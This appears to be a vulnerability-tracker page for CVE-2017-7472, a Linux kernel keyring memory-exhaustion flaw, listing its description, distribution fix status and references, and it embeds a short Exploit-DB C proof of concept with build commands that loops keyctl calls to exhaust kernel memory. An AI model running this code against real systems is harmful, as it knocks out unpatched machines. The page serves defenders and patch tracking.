CVE-2017-7472
Description
The KEYS subsystem in the Linux kernel before 4.10.13 allows local users to cause a denial of service (memory consumption) via a series of KEY_REQKEY_DEFL_THREAD_KEYRING keyctl_set_reqkey_keyring calls.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Linux Kernel < 4.10.13 - 'keyctl_set_reqkey_keyring' Local Denial of Service
/*
Source: https://bugzilla.novell.com/show_bug.cgi?id=1034862
QA REPRODUCER:
gcc -O2 -o CVE-2017-7472 CVE-2017-7472.c -lkeyutils
./CVE-2017-7472
(will run the kernel out of memory)
*/
#include <sys/types.h>
#include <keyutils.h>
int main()
{
for (;;)
keyctl_set_reqkey_keyring(KEY_REQKEY_DEFL_THREAD_KEYRING);
}OS impact
Linux kernel Affected 1 release
| Version | Status | Fixed in |
|---|---|---|
| — | Affected | — |
SUSE Affected 1 release
| Version | Status | Fixed in |
|---|---|---|
| — | Affected | — |
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 4.9.25-1 |
| sid | Fixed | 4.9.25-1 |
| forky | Fixed | 4.9.25-1 |
| bullseye | Fixed | 4.9.25-1 |
| bookworm | Fixed | 4.9.25-1 |
References
- http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=c9f838d104fed6f2f61d68164712e3204bf5271b
- http://lists.opensuse.org/opensuse-security-announce/2018-01/msg00007.html
- http://openwall.com/lists/oss-security/2017/05/11/1
- http://www.securityfocus.com/bid/98422
- http://www.securitytracker.com/id/1038471
- https://access.redhat.com/errata/RHSA-2018:0151
- https://access.redhat.com/errata/RHSA-2018:0152
- https://access.redhat.com/errata/RHSA-2018:0181
- https://bugzilla.novell.com/show_bug.cgi?id=1034862
- https://bugzilla.redhat.com/show_bug.cgi?id=1442086
- https://github.com/torvalds/linux/commit/c9f838d104fed6f2f61d68164712e3204bf5271b
- https://lkml.org/lkml/2017/4/1/235
- https://lkml.org/lkml/2017/4/3/724
- https://www.exploit-db.com/exploits/42136/
- https://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.10.13
- https://www.suse.com/security/cve/CVE-2017-7472.html
- https://security-tracker.debian.org/tracker/CVE-2017-7472
CWEs
CWE-404
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.